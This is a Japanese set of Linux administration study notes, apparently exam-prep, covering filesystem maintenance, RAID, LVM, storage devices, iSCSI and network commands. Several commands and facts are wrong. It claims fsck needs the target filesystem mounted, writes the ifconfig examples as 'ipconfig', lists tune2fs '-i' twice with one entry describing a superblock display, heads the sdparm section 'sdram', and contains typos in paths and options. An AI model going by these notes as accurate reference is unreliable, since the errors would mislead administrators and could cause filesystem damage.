LUKS(Linux Unified Key Setup) はLinuxにおいて標準的に使用される暗号化ファイルシステムの仕様のこと。 LUKSは異なるシステム、ディストリビューション間において相互運用ができる。 LUKSではKeySlotといって、暗号化管理のための鍵をパーティションごとに8つ持つことができる。

LUKSはLinuxにおいてdm-cryptを用いて実装されており、cryptsetupコマンドでファイルシステムの暗号化や管理を行う。

4.3. ファイルシステムの保守

4.3.1. ext2/ext3のファイルシステムの構造

ext2/2xt3のファイルシステムはブロック単位で管理され、ブロックにはデータブロック、iノードブロック、スーパブロックの3種類がある。 データブロックにはファイルの内容が保存される。1024の倍数でブロックサイズを指定可能となっている。指定しない場合は適切な値が自動で選択される。

またデータブロックなどはブロックグループという単位でまとめられる。 データブロックにどのデータが記録されているかはiノードに記録される。 iノードブロックにはファイルタイプや更新日、アクセス権所有者情報などのメタデータも保存される。

なおiノードブロックのサイズは128Byteで、1ブロックが1024Byteの場合は1ブロックに8つのiノードが格納される。 ext2/ext3ではiノードをシステム作成後に追加することはできない。

スーパーブロックにはファイルシステムの全般的な情報であるデータブロックサイズやマウント回数、iノードなどが格納される。 スーパーブロックはブロックグループごとにバックアップが作成される。 バックアップスーパーブロックの位置はファイルシステム作成時に表示され、後から確認はmke2fs -nで可能となっている。

確認例は以下の通り。

mke2fs -b 4096 -c -j -n /dev/sdb1

dumpe2fsコマンド

スーパーブロックの内容を確認できるコマンド。

dumpe2fs デバイスファイル名

4.3.2. ext4ファイルシステムの構造

ext4ファイルシステムの構造は基本的にはext2/ext3と同じだが以下の違いがある。

  • 最大ファイルサイズが16TB, 最大ファイルシステムサイズが1EB
  • エクステント方式のブロック管理
  • オンラインデフラグ
  • ナノ秒単位のタイムスタンプ
  • マルチブロック割り当て
  • ジャーナルチェックサム
  • fsckの高層化

4.3.3. ファイルシステムのチェック

ファイルシステムの整合性チェックはfscke2fsckコマンドで確認できる。 チェックする際はそのチェック対象のファイルシステムをマウントもしくは読み込みonlyでマウントする必要がある。

fsckコマンド

fsck [オプション] [デバイス名]
オプション説明
-r対話的に修復を実行
-t タイプファイルシステムの種類を指定
-A/etc/fstabに記載された全ファイルシステムに対し実行
-N実行せず、実行した場合の結果を表示

e2fsckコマンド

ext2/ext3/ext4ファイルシステムをチェックする際に使用するコマンド。

e2fsck [オプション] [デバイス名]
オプション説明
-b ブロック指定したスーパブロックのバックアップを使用して復元
-c不良ブロックのチェック
-fファイルシステムの状態がcleanでもチェックする
-pすべての不良ブロックを自動的に修復する
-y再帰問い合わせに関しすべて「yes」と回答する
-n再帰問い合わせに関しすべて「no」と回答する

なおマウント中のファイルシステムはチェックできないため、ルートファイルシステムをチェックする際は、CD-ROM等より起動するなどを行う必要がある。

もしくはshutdown -r -F nowコマンドで起動時でチェックを行うこともできる。

xfs_repairコマンド

XFSファイルシステムをチェックするコマンド。 -nオプションを付けるとチェックのみを行い修復はしない動作となる。

xfs_repair -n デバイス名

4.3.4. ext2~ext4ファイルシステムの管理

ext2/ext3/ext4ファイルシステムの様々なパラメータを設定するにはtune2fsコマンドを使用する。

tune2fsコマンド

tune2fs [オプション] デバイス名
オプション説明
-c 回数ファイルシステムチェックが行われるまでの最大マウント回数を指定する
-C 回数現在のマウント回数の設定
-i 間隔ファイルシステムのチェック間隔を指定
-jext2からext3へ変換する
-m 領域%rootユーザ用の予約領域のサイズを変更する
-iスーパーブロックの内容を表示する
-L ラベルファイルシステムのボリュームラベルを設定する
-U UUID指定したUUIDに変更する

badblocksコマンド

デバイス上の不良ブロックを検索するコマンド。

badblocks [オプション] [デバイスファイル名]
オプション説明
-b サイズブロックサイズを指定する
-o ファイル名指定したファイルに結果を出力する
-w書き込みモードでテストする

debugfsコマンド

ファイルシステムのデバックを対話式に行えるコマンド。

debugfs [オプション] [デバイスファイル名]
オプション説明
-wファイルシステムを読み書き可能モードで開く
-s ブロック番号指定したブロックをスーパーブロックとして利用する
サブコマンド説明
cat ファイル名ファイルの内容を表示する
cd ディレクトリ別のディレクトリに移動する
chroot ディレクトリルートディレクトリを変更する
closeファイルシステムを閉じる
dump ファイルA ファイルBファイルAの内容をファイルBとして保存
freei ファイル名ファイルのiノードを消去する
lsファイル一覧を表示する
mkdir ディレクトリディレクトリを作成する
open デバイス名ファイルシステムを開く
pwdカレントディレクトリを表示する
rm ファイル名ファイルを削除する
rmdir ディレクトリディレクトリを削除する
stat ファイル名inodeの内容を表示する
quit終了する

4.3.5. S.M.A.R.T

S.M.A.R.Tはハードディスクに組み込まれている自己診断機能のこと。 この機能を搭載しているハードディスクでは故障時期の予測や故障の兆候を発見可能となっている。 LinuxにはいくつかのS.M.A.R.T対応ソフトウェアがある。

代表的なものにはsmartmontoolsがある。 この仕組みではsmartdデーモンがハードウェアのS.M.A.R.T情報を取得し、smartctlコマンドで表示する。

smartctlコマンド

smartctl [オプション] [デバイスファイル名]
オプション説明
-a / –allS.M.A.R.T情報を表示する
-i / –infoS.M.A.R.Tの対応状況などを表示する
-c / –capabilitiesテストの診断状況の表示
-t / –testセルフテストを実施する
-l / –logテストログを表示する
-H / –health状態を表示する
–scan認識されているデバイスを表示

4.3.6. XFSファイルシステムの管理

xfs_adminコマンド

XFSファイルシステムのパラメータ変更はxfs_adminコマンドを使用する。

xfs_admin [オプション] [デバイス名]
オプション説明
-uUUIDを表示する
-lラベルを表示する
-L ラベルラベルの設定
-U UUIDUUIDを設定する

xfs_infoコマンド

XFSファイルシステムの情報を表示するコマンド。

xfs_info デバイス名

xfsdumpコマンド

XFSファイルシステムをバックアップするコマンド。

xfsdump オプション バックアップするファイルシステム
オプション説明
-f 出力先出力先を指定する
-l レベルダンプレベルの指定
-Jダンプ情報データベースを更新しない

xfsrestoreコマンド

xfsファイルシステムをリストアするコマンド。 XFSファイルシステムの復元を行うことができる。

xfsrestore オプション リストア先
オプション説明
-f ファイル名バックアップされたデバイスファイル名を指定する
-S セッションIDリストアされたバックアップのセッションIDを指定する
-L セッションラベルリストアするバックアップのセッションラベルを指定する
-r増分バックアップからリストアする
-i対話的にリストアする
-IすべてのダンプのセッションIDとセッションラベルを明示する

なお増分バックアップが含まれるテープデバイスからリストアするにはセッションIDまたはセッションラベルが必要となる。

xfs_repairコマンド

XFSファイルシステムの修復を行うコマンド。

xfs_repair デバイスファイル名

4.3.7. Btrfsファイルシステムの管理

Btrfsファイルシステムの管理を行う場合はbtrfsコマンドを使用する。

btrfsコマンド

btrfs コマンド サブコマンド
コマンド/サブコマンド説明
filesystem showファイルシステムの情報を表示
filesystem dfファイルシステムの使用状況を表示
filesystem labelファイルシステムのラベルを指定
filesystem resizeファイルシステムサイズの変更
subvolume createサブボリュームの作成
subvolume deleteサブボリュームの削除
subvolume listサブボリューム一覧の表示
subvolume snapshotサブボリュームのスナップショットの作成
subvolume showサブボリュームの情報の表示

Btrfsではサブボリュームが使用できる。 サブボリュームはファイルシステムを分割したものを示す。

btrfs-convertコマンド

ext4などのファイルシステムをBtrfsに変換するコマンド。

btrfs-convert デバイス名

4.3.8. オートマウント

autofsサービスによるオートマウントを実行することで、自動マウントがされる。 この機能を使えば手動でマウント/アンマウントする必要がない。

autofsサービスの開始

autofsサービスは以下コマンドで開始できる。 設定ファイルは/etc/auto.masterとファイルシステム毎に設定するマップファイルになる。

systemctl start autofs
systemctl restart autofs

/etc/auto.masterの書き方

マウントポイントの指定方法は直接マップ、間接マップの2つの方式がある。

/- /etc/auto.direct # 直接マップ
/mnt/sample /etc/sample.dvdrom --timeout=60 # 間接マップ
# マウントベース マップファイル オプション

なお/etc/auto.masterを編集した場合には、設定を反映させる為にデーモンの再起動(/etc/init.d/autofs reloadなど)が必要となる。

マップファイル

マップファイルではファイル名を自由に変更する設定を記述することができる。 マップファイルはオートマウントしたいファイルシステムの個数だけ作成する必要がある。

書式は以下の通り。

dvdrom -fstype=udf,ro :/dev/sdc1
# マウントベース以下に作成されるディレクトリ マウントオプション デバイスファイル名

14.2.5 - 5.高度なストレージ管理

Linuxのストレージ管理に関して

5.1. RAID

RAIDはハードディスクを組み合わせて使用できる技術のこと。 ハードディスクをまとめて扱うことで高い信頼性とパフォーマンスを実現することを目指すものといえる。

5.1.1. LinuxにおけるRAID

LinuxでRAIDを利用する際はソフトウェアRAIDハードウェアRAIDの2種類を利用できる。 Kernel2.4以降ではソフトウェアRAIDが実装されていてハードディスクのパーティションを複数使うことでRAIDアレイを実現する。 ハードウェアRAIDアレイはLinuxからはSCSIデバイスのように見える。

RAIDアレイ

複数のディスクもしくはパーティションを束ねたもののこと

5.1.2. RAIDの種類

RAID0(ストライピング)

RAID0は複数のディスクに分散してデータを書き込み1台のディスクのように扱うRAID構成。

特徴は以下の通り。

  • データ消失が許されない用途には不向き
  • 書き込みのパフォーマンスが高い
  • ディスク容量をフル利用できる

RAID1(ミラーリング)

RAID1は複数のディスクに全く同じ内容を並列して書き込み扱うRAID構成。

特徴は以下の通り。

  • RAIDアレイを構成する1台がクラッシュしても、残りのディスクで復旧が可能
  • ディスクサイズが1台当たりのディスクサイズ以上にはならない

RAID4

RAID4はRAID0のようにストライピングの機能にエラー訂正用のパリティ情報を保存する専用ディスクを用意したRAID構成。 つまり最低3台のディスクが必要

特徴は以下の通り。

  • データが保存されているディスクがクラッシュしてもパリティ情報から復旧できる
  • パリティ情報を保存するためパフォーマンスが良くない

RAID5

RAID5はRAID4と同じようにパリティ情報により冗長性を確保する構成でパリティ専用ディスクを使用しないRAID構成。 パリティ情報はデータと同様に複数のディスクに分散して保存される。 RAID5も最低3台のディスクが必要となる。

その他のRAID構成

RAID説明
RAID LINEARディスクを論理的に結合してサイズの大きな1つのディスクに見せる
RAID0+1RAID0でストライピング構成を複数作りそれをミラーリングする
RAID1+0RAID1でミラーリング構成を複数作りそれをストライピングする
RAID6RAID5に加えてパリティ情報をもう1台余分に2重パリティを行い冗長構成を高める

5.1.3. RAIDの構成と運用

LinuxでRAIDを構成するパーティションを作成する際はパーティションタイプを0xfdに設定する必要がある。 fdisk -l デバイスファイル名で確認可能。

mdadmコマンド

RAIDアレイの制御を行うコマンド。 RAIDアレイの作成はCREATEモードで行う。 /proc/mdstatの確認でも可能。

mdadm [オプション] [デバイス名]
オプション説明
CREATEモードのオプション-
-C md デバイス名RAIDアレイを指定して作成する
-a必要であればデバイスファイルを自動的に作成する
-c サイズチャンクサイズの指定(KB単位)
-l レベルRAIDレベルの指定
-n 数アクティブな構成デバイス数を指定する
-x 数スペアデバイスの数を指定する
MANAGEDモードのオプション-
–manageMANAGEモードにする
-a構成デバイスの追加
-r構成デバイスの削除
-f構成デバイスに不良マークを付ける
MISCモード-
–miscMISCモードにする
-QRAIDの状態を表示
-DRAIDの詳細情報の表示
-E構成デバイスの状態表示
–readonly読み取り専用にする
–readwrite書き込み可能にする
–stop-S md デバイス名
–stop -scanすべてのRAIDアレイの停止
Assembleモード-

RAIDアレイの状態は/proc/mdstatファイルで確認可能。

使用例は以下の通り。

# RAID1のRAIDアレイmd0を/dev/sdc5~sdc7で構成(アクティブは2つ、1つは予備)
mdadm -C /dev/md0 --level 1 --raid-devices 2 --spare-devices 1 /dev/sdc5 /dev/sdc6 /dev/sdc7
# /dev/md0の状態確認
mdadm --query /dev/md0

RAID構成デバイスに障害が発生した場合は以下手順でディスクを交換する。 例では/dev/sdc5が壊れたとする。

  1. デバイスに障害を通知するために不良マークをつける
    • mdadm --manage /dev/md0 -f /dev/sdc5
    • この際 予備デバイスがあれば自動的に予備デバイスに切り替わる(確認はcat /proc/mdSATAで可能)
  2. 構成デバイスをRAIDアレイから削除する
    • mdadm --manage /dev/md0 -r /dev/sdc5
  3. 予備デバイス(例では/dev/sdc7)を追加する
    • mdadm --manage /dev/md0 -a /dev/sdc7

またmdadmの設定ファイルは/etc/mdadm/mdadm.confとなる。 このファイルにあらかじめ設定を記述するとRAIDアレイをシステム起動時に自動認識できる。

5.2. LVM

LVM(論理ボリューム管理機能)はディスク管理を柔軟に行える機能のこと。 ディスクのパーティションを直接操作は行わず、仮想的なパーティションの論理ボリュームを動的に管理する。 以下のメリットがLVMにはある。

  • パーティションのサイズを変更できる(通常は一度決めるとできない)
  • 別ディスクにパーティションを移動させることができる
  • ディスクサイズを超える大きさのパーティションを作成できる

LVMでは仮想的なブロックデバイスの機能はデバイスマッパーと呼ばれる機能によって実現されている。 これらの仮想的なデバイスは/dev/mapper/VG名-LV名というデバイス名で扱われる。

まあカーネル内では/dev/dm-*という形で、LVMでは/dev/VG名/LV名というデバイス名も扱われる。

5.2.1. LVMの仕組み

LVMの概要は以下の通り。 ボリュームグループは仮想的ディスク、論理ボリュームは仮想的パーティションといえる。

LVM

  • 1台のハードディスクや1つのパーティションを物理ボリューム(PV)にする
  • 物理ボリュームは一定サイズの物理エクステント(PE)から構成される
  • 1つ以上の物理ボリュームからボリュームグループ(VG)が構成される
  • VG内でPEから論理ボリューム(LV)が構成される
  • 論理ボリュームは従来のパーティション同様ブロックデバイスとして扱える
  • LVのサイズ変更や他ディスクへの移動が可能
  • LVは複数ディスクにまたがって作成できる
  • VGは後からサイズ変更ができる

5.2.2. LVMの作成

LVM利用手順は以下の通り。

  1. パーティションの作成(fdisk)
  2. 物理ボリュームを用意(pvcreate)
  3. 物理ボリュームを束ねてボリュームグループを作成(vgcreate)
  4. ボリュームグループから論理ボリュームを切り出す(lvcreate)
  5. ファイルシステムの作成(mkfs)
  6. マウント(mount)

/dev/sdd1,/dev/sde1を使用した例

  1. LVM用のパーティションの用意 初めにLVMを作成するためのパーティションまたはハードディスクを用意する。 パーティションを利用する場合はタイプを8eに設定する
parted /dev/sdd1
parted /dev/sde1
  1. 物理ボリュームを初期化する pvcreateコマンドでデバイスを物理ボリュームとして初期化する
pvcreate /dev/sdd1 /dev/sde1
  1. ボリュームグループの作成 vgcreateコマンドでボリュームグループを作成する(例の名称ではgroup1)
vgcreate group1 /dev/sdd1 /dev/sde1

なお-sオプションで物理エクステントのサイズを指定可能(省略した場合デフォルトで4MB) 4. 論理ボリュームの作成 lvcreateコマンドで論理ボリュームを作成する(例の名称ではlv1)

lvcreate -L 500M -n lv1 group1

なおlvscanコマンドで論理ボリュームの状態を確認可能 5. ファイルシステムの作成/マウント ファイルシステムを作成してマウントを行う。例ではext4で/mntにマウントする

mkfs.ext4 /dev/group1/lv1
mount  /dev/group1/lv1 /mnt

なおdf -Tコマンドで確認可能。

5.2.3. LVMの管理

LVM関連のコマンドを記載する。

pvdisplay/pvscanコマンド

物理ボリュームの詳細情報の表示を行うコマンド。

pvdisplay /dev/sda1
pvscan # 簡潔に表示

vgextendコマンド

ボリュームグループに物理ボリュームを追加するコマンド。

vgextend [ボリュームグループ] [物理ボリューム]

pvmoveコマンド

物理ボリュームを別の物理ボリュームに移動させるコマンド。

pvmove [移動元物理ボリューム] [移動先物理ボリューム]

vgreduceコマンド

ボリュームグループから物理ボリュームを削除するコマンド。

vgreduce [ボリュームグループ] [削除する物理ボリューム]

pvremoveコマンド

物理ボリュームを削除するコマンド。

pvremove [物理ボリューム]

vgdisplayコマンド

ボリュームグループの詳細を表示するコマンド。

vgdisplay [ボリュームグループ]

lvdisplayコマンド

論理ボリュームの詳細情報の表示するコマンド。

lvdisplay [論理ボリューム]

lvextendコマンド

論理ボリュームを拡張するコマンド。

lvextend -L +100M [論理ボリューム]

このコマンドだけではファイルシステムまで拡張されない。 そのためresize2fsコマンドやxfs_growfsコマンドでファイルシステムのサイズも拡張する必要がある。

resize2fs/xfs_growsfsコマンド

resize2fsコマンドはext2~ext4ファイルシステムの場合ファイルシステムを広げるコマンド。 xfs_growfsコマンドはXFSの場合にファイルシステムを広げるコマンド。

e2fsck -f /dev/group1/lv1
resize2fs /dev/group1/lv1

lvremoveコマンド

論理ボリュームを削除するコマンド。

lvremove [論理ボリューム]

スナップショット機能

スナップショット機能を使用するとファイルシステムをマウントせずにバックアップすることができる。 具体的にはスナップショットの作成ではファイルシステムを書き込み禁止やアンマウントせずにバックアップができる。

スナップショットをsnap0という名前でとる例

lvcreate -s -L 100M -n snap0 /dev/group1/lv1
dump 0uf /dev/st0 /dev/group1/snap0

スナップショットの特性上、スナップショットの作成後にファイルシステムに変更が加われば加わるほどスナップショット領域は大きくなる。 そのためバックアップ取得後は、スナップショットを削除したほうが良い。

5.2.4. LVMの関連コマンド

物理ボリューム関連コマンド

コマンド説明
pvcreatePVの作成
pvdisplayPVの情報の表示
pvmovePV内のPEを移動
pvremovePVの削除
pvscanPVの検索
pvsPVの情報出力

ボリュームグループ関連のコマンド

コマンド説明
vgcreateVGを作成
vgchangeVGの属性を変更
vgdisplayVGの情報を表示
vgextendVGの拡張(PVの追加)
vgreduceVGの縮小(PVの削除)
vgremoveVGの削除
vgimportVGのインポート
vgexportVGのエクスポート
vgmerge2つのVGを統合する
vgrenameVG名の変更
vgscanVGの検索
vgsVGの情報表示

論理ボリューム関連のコマンド

コマンド説明
lvcreateLVの作成
lvdisplayLVの情報表示
lvextendLVの拡張(PEの追加)
lvreduceLVの縮小(PEの削除)
lvremoveLVを削除
lvrenameLV名を変更
lvscanLVの検索
lvsLVの情報表示

5.3. 記憶装置へのアクセス

5.3.1. デバイスファイル

記憶装置のデバイスファイルは以下の通り。

デバイスファイル説明
/dev/hdaIDEプライマリマスタに接続されたドライブ
/dev/hdbIDEプライマリスレーブに接続されたドライブ
/dev/hdcIDEセカンダリマスタに接続されたドライブ
/dev/hddIDEセカンダリスレーブに接続されたドライブ
/dev/sda1番目のSCSI/SATA/USB/IEEE1394デバイス
/dev/sdb2番目のSCSI/SATA/USB/IEEE1394デバイス
/dev/sdc3番目のSCSI/SATA/USB/IEEE1394デバイス
/dev/sdd4番目のSCSI/SATA/USB/IEEE1394デバイス
/dev/sr01番目のSCSI/SATA/USB CD/DVDドライブ
/dev/sr12番目のSCSI/SATA/USB CD/DVDドライブ
/dev/st01番目のSCSIテープドライブ
/dev/st12番目のSCSIテープドライブ

カーネル2.6.21以降はIDEデバイスもSCSIデバイスと同じ扱いになったため、IDEハードディスクも/dev/sdNといったデバイス名になる。

5.3.2. ハードディスクの管理

ハードディスクは5つのタイプに分かれる。

  • SATA(Serial ATA)
  • SCSI
  • SAS
  • USB
  • IEEE1394

Linuxの場合、SATAハードディスクもSCSIハードディスクとして扱われる。 なおKernel 2.6.21以降では基本的にすべてのハードディスクは/dev/sd*と扱われる。

IDEの転送モードにはメインメモリとハードディスクとの転送方式としてPIOモードDMAモードがある。

  • PIOモード … CPUがハードディスクに直接命令してデータを転送する方式。欠点はデータ読み書き中はCPUは他の処理を実行できない点がある
  • DMAモード … CPUとは異なり専用のコントローラがデータの伝送を管理する。現在一般的な手法

Ultra DMA は従来のDMAを拡張した企画で高速転送速度をサポートしている。 なおUltra DMAの利用はハードディスク/マザーボードのチップ/BIOSが対応している必要がある。

hdparmコマンド

DMAモード、IDEハードディスクのパラメータを確認/設定できるコマンド。 オプションなしでは適用されているパラメータを表示する。

hdparm [オプション] [デバイスファイル]
オプション説明
-iハードディスクの詳細情報確認
-Iドライブから直接情報を得る
-c数値32bit I/Oサポート(0:無効化、1:有効化、3:同期シーケンス付きで有効化)
-d数値DMAモードの使用不使用を指定 (0:無効化,1:有効化)
-W数値ライトキャッシュのON/OFF(0:無効化,1:有効化)
-tバッファキャッシュを使わずに読み込み速度を計測する
-Tバッファキャッシュの読み込み速度をテストする

sdramコマンド

SCSI/SATA/USBディスクに対してDMAモード、IDEハードディスクのパラメータを確認/設定できるコマンド。 オプションなしでは適用されているパラメータを表示する。

sdparm [オプション] [デバイスファイル]

sdparm --conmmand=stop [デバイスファイル] # ディスク回転の停止
sdparm --clear=WCE [デバイスファイル] # ディスクキャッシュの無効化

scsi_idコマンド

SCSI接続の記憶装置のWWIDの確認を行えるコマンド。

scsi_id

5.3.3. SSDの管理

SSDはHDDと異なりフラッシュメモリであるためHDDと削除動作が異なる。 SSDはデータを削除しても削除フラグが付けられるだけでデータは削除されない。 削除した箇所に再度書き込みを行う場合は、データを消去して書き込みを行う必要がある。 そのため長時間SSDを利用すると再利用ブロック(削除フラグが付いたブロック)が増えていくにつれてパフォーマンスが低下する。

なおNVMeという新しい規格がSSDでは利用できる。 またNVMeはPCI Express バスから SSD に接続するための規格である。

Trimという機能を使うことでブロックデータも削除するため速度低下が起こりにくくなる。 Trimの実行にはfstrimコマンドを実行する。 Trimの確認は以下コマンドで行う。

hdparm -I /dev/sda | grep TRIM

また、SSDには書き換え回数の上限があるため頻繁に書き込まないように以下内容に注意する。

  • スワップ領域をSSD上に作成しない
  • noatimeオプションをつけてファイルシステムにマウントする
  • 頻繁に書き込まれる/tmpなどはRAMディスクを利用する

fstrimコマンド

Trimの実行を行うコマンド。 ファイルシステムで使用していない領域を破棄できる。

fstrim -v /

NVMe

NVMeはSSD接続のための PCI Expressベースのインターフェイス規格。 AHCIと比べ、SSDの性能を十分に発揮できる。

AHCI

AHCIは、IDEに比べてはるかに高速なSATAを活かせるインターフェース仕様として登場した規格。 インテルが策定している。 IDEとの互換性を重視したSATAの規格SATA1.0では速度より互換性が重視され、性能は犠牲となったが、SATA2.0でAHCIは規格化され、SATA本来の機能・性能を満たすことができるようになった。

5.3.4. iSCSI

iSCSIはTCP/IP上でSCSIプロトコルを利用できるようにする仕組み。 クライアント/サーバモデルを採用している。 iSCSIによりネットワーク上のストレージをローカルストレージのように利用できる。 SANを構築できる。

LinuxにおいてはIETLIO TargetでiSCSIターゲット(iscSIストレージ)を構築できる。 なおデータの要求端末(クライアント)はiSCSIイニシエータと呼ばれる。

用語説明
ターゲットiSCSIストレージ
イニシエータiSCSIクライアント
LUNストレージ内の論理ドライブ番号(記憶装置の識別番号)
HBANICに相当するインターフェイスアダプタ
WWID / WWNMACAddressに相当する識別ナンバー

なお設定ファイルはiscsid.confとなる。

iscsiadmコマンド

iscsiadm [オプション]
オプション説明
-m / –mode [モード]モードの指定(discovery: 接続先のiSCSIターゲットの取得, node: 登録済みisCSIターゲットの取得, session: セッション一覧の取得)
-l / –loginiscsiターゲットにログイン
-u / –logoutiscsiターゲットからログアウト
-t / –typeタイプの指定
-p / –portal=IPアドレス[:ポート]接続先の指定
-T / –targetname=IQNiSCSIターゲットの指定

SAN

SAN(Storage Area Network)はストレージ専用のネットワークを使用してストレージにアクセスする技術。 物理接続にファイバチャネル、接続にSANスイッチが使用される。

14.2.6 - 6.ネットワーク管理

Linuxのネットワーク管理に関して

6.1. ネットワークの設定

6.1.1. ネットワークデバイス

Linuxではネットワークデバイスを以下のような名称で扱う。 またネットワークインターフェースの確認にはifconfigコマンドで行える。

インターフェイス説明
eth01番目のEthernetインターフェイス
eth12番目のEtrernetインターフェイス
ppp01番目のPPPインターフェイス
loループバックインターフェイス

またネットワークインターフェースの命名規則は以下の通り。

種別説明
enイーサネット
wl無線LAN
ww無線WAN

ifconfigコマンド

ネットワークインターフェースの設定/確認が行えるコマンド。

ipconfig
ipconfig [インターフェース] [IPv4アドレス] netmask [サブネットマスク]
ipconfig [インターフェース] [ up | down ]

6.1.2. ARP

EthernetではIPアドレスではなくMACアドレスで通信を行う。そのためIPアドレスをMACアドレスに変換する仕組みであるARPを用いる。 取得したARP情報はARPキャッシュと呼ばれるテーブルに一定時間キャッシュされる。

ARPキャッシュテーブルの表示にはarpコマンドで可能。

arp [オプション]
オプション説明
-a [ホスト]指定したホストすべてのエントリを表示する
-f ファイル名ホスト名とMACアドレスの対応ファイルを読み込む
-nホスト名をIPアドレスを表示
-d ホスト指定したホストのエントリを削除
-i インターフェースネットワークインターフェースの指定
-s ホスト MACアドレスホスト名とMACアドレスの対応を書き込む

6.1.3. インターフェースの冗長化技術

ボンディング

ボンディングは複数のネットワークインタフェースを1つに束ねる技術のこと。 ボンディングによって帯域幅を増やしたり、1つのNICに障害が発生しても他のNICで運用できるようにインタフェースを冗長化できる。 なおLinuxカーネルにはbondingモジュールが標準で実装されている。

ボンディングではネットワークインタフェースを以下のように分類する。

  • マスターインタフェース … bondingで束ねられた仮想インタフェース
  • スレーブインタフェース … bondingを構成する個々の物理インタフェース
  • アクティブインタフェース … bonding構成の中で実際にパケットの送受信を行うインタフェース

ボンディングの設定例

ボンディングは以下のような設定を2つのマシンに設定する

  1. マスターインタフェースの追加
    • nmcli connection add type bond ifname bond0 con-name bond0 mode balance-rr
  2. スレーブインタフェースの追加
    • nmcli connection add type bond-slave ifname eth0 con-name bond-slave-eth0 master bond0
    • nmcli connection add type bond-slave ifname eth1 con-name bond-slave-eth1 master bond0
  3. マスターインタフェースにIPアドレスを設定
    • nmcli connection modify bond0 ipv4.method manual ipv4.addresses 192.168.1.1/24

なおmodeオプションでbondingポリシーを設定できる。

ポリシー説明
balance-rrラウンドロビンによる送信負荷分散
active-backup1つのスレーブインターフェースのみがアクティブでもう一つは障害時に切り替え
balance-xor宛先MACに基づいたハッシュによる送信の負荷分散
802.3adLACPによるリンクアグリゲーション
balance-tlbスレーブインターフェースの負荷に応じた送信負荷分散
balance-albスレーブインターフェースの負荷に応じた送受信負荷分散

6.1.4. ネットワーク管理コマンド

Linuxにおけるネットワーク設定/トラブルシューティングに使うコマンドをいくつか記載する。

pingコマンド

指定したホストにICMPパケットを送った際の反応を確認できる。 なおIPv6の場合はping6コマンドを使う。

ping [ホスト名] [IPアドレス]
オプション説明
-nホスト名を指定せずにIPアドレスを表示する
-c 回数指定した回数のみICMPパケットを送信する
-i 間隔指定した間隔ごとにICMPパケットを送信する
-s サイズ指定したパケットデータのサイズで送信する

tracerouteコマンド

指定したホストまでパケットが伝わる経路を表示するコマンド。 ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。

なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。 なおIPv6の場合はtraceroute6コマンドを使う。

traceroute [ ホスト名 | ドメイン名 | IPアドレス ]
オプション説明
-i インターフェースネットワークインターフェースを指定する
-nホスト名をIPアドレスで表示する

mtrコマンド

pingやtracerouteなどのようにICMP等を使って通信の可・不可や経路などを確認することができるコマンド。

mtr -r [IPアドレス | ドメイン名]

tcpdumpコマンド

指定したネットワークインターフェースを監視し、そこに到達したデータをコンソールに表示するコマンド。 用途としては以下の通り。

  • 不審な挙動をしているプログラムのデータの送信先の調査など
tcpdump [オプション] [条件式]
オプション説明
-i インターフェース監視するインターフェース指定する
-s バイト数パケットから取り出すバイト数の指定
-X16進数とASCII文字で表示
-n名前解決せずに表示する(IPアドレスで表示)
-Nホストのドメイン名を表示しない
-l標準出力のバッファリング
-t時刻表示しない
-v詳細に出力
条件式説明
portポート番号の指定
tcpudp
src指定した送信元からのパケットを対象
dst指定した送信元へのパケットを対象

使用例は以下の通り。

# eth0の53ポートの通信を表示
tcpdump -nil eth0 port 53

netstatコマンド

ネットワーク機能に関する様々な内容を表示するコマンド。 引数なしで実行すると、Active接続とActiveなUnixドメインソケット情報(ローカルホストのプロセス間通信)を表示する。

netstat [オプション]
オプション説明
-aすべてのソケットを表示
-c状況を1秒ごとにリアルタイムで定期的に表示する
-iネットワークインターフェースの統計を表示
-l接続待ち状態にあるソケットのみ表示する
-nアドレスやポートを数値で表示
-pPIDとプロセスの表示
-rカーネルのルーティングテーブルの表示
-tTCPを表示
-uUDPを表示

ssコマンド

netstat互換のコマンド。機能はnetstatコマンドとほぼ同じ。

ss [オプション]
オプション説明
-aすべてのソケットを表示
-nアドレスやポートを数値で表示
-pPIDとプロセスの表示
-rホスト名の解決
-tTCPの表示
-uUDPの表示
-4IPv4のみを表示
-6IPv6のみを表示

ncコマンド

ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。

nc [ ホスト名 | IPアドレス ] [ポート番号]

なおオプション-vzを指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はuを追加する。

ipコマンド

ネットワークインターフェース、ルーティングテーブル、ARPテーブルの管理ができるコマンド。 ipconfig, route, arpコマンドの統合した操作が可能。

ip [オプション] [操作対象] [コマンド] [デバイス]
オプション説明
-sステータスの表示
-r名前解決して表示
-f inet/inet6プロトコルファミリの指定
操作対象説明
linkデータリンク層
addrIPアドレス
routeルーティングテーブル
neighARPキャッシュ
コマンド説明
show指定した対象の情報表示
add指定した対象にパラメータ指定
del指定した対象のパラメータ削除

使用例は以下の通り。

# IPアドレスの設定
ip addr add 192.168.11.1/24 dev eth0
# GWをルーティングテーブルに追加
ip route add 10.0.0.1/16 via 192.168.11.254
# DGWの設定
ip route add default via 192.168.11.100

6.1.5. ルーティングの設定

Linuxにおいてルーティングテーブルの操作行う場合はrouteコマンドを使用する。 引数なしで実行するとルーティングテーブルが表示される。

routeコマンド

route [オプション]
route [add | del] [-host|-net] [ターゲット] [network ネットマスク] [gw ゲートウェイ] [[dev] デバイス]
オプション説明
-nホスト名の解決をしない
-Fカーネルのルーティングテーブルを表示する
-Cカーネルのルーティングキャッシュを表示する

routeコマンドを引数なしで実行すると以下のようにパラメータが表示される。

Destination # 宛先ネットワーク/ホスト
Gateway # ゲートウェイアドレス
Genmask # 宛先ネットマスク
Flags # 経路情報(U:経路が有効 H:宛先はホスト G:ゲートウェイを使用 !:経路は無効)
Metric # 宛先までの距離
Ref # ルートの参照数
Use # 経路の参照回数
Iface # この経路を使うネットワークインターフェース

6.1.6. 無線ネットワークの設定

無線LANの主な規格は以下のようなものがある。

規格周波数帯域幅伝送速度
IEEE802.11a5.2GHz54Mbps
IEEE802.11b2.4GHz11Mbps
IEEE802.11g2.4GHz54Mbps
IEEE802.11n2.4GHz/5GHz600Mbps
IEEE802.11ac5GHz433Mbps~7Gbps

なお無線LANのセキュリティ方式にはWEPWPAがある。

  • WEP … RC4アルゴリズムで通信を暗号化する(脆弱性あり)
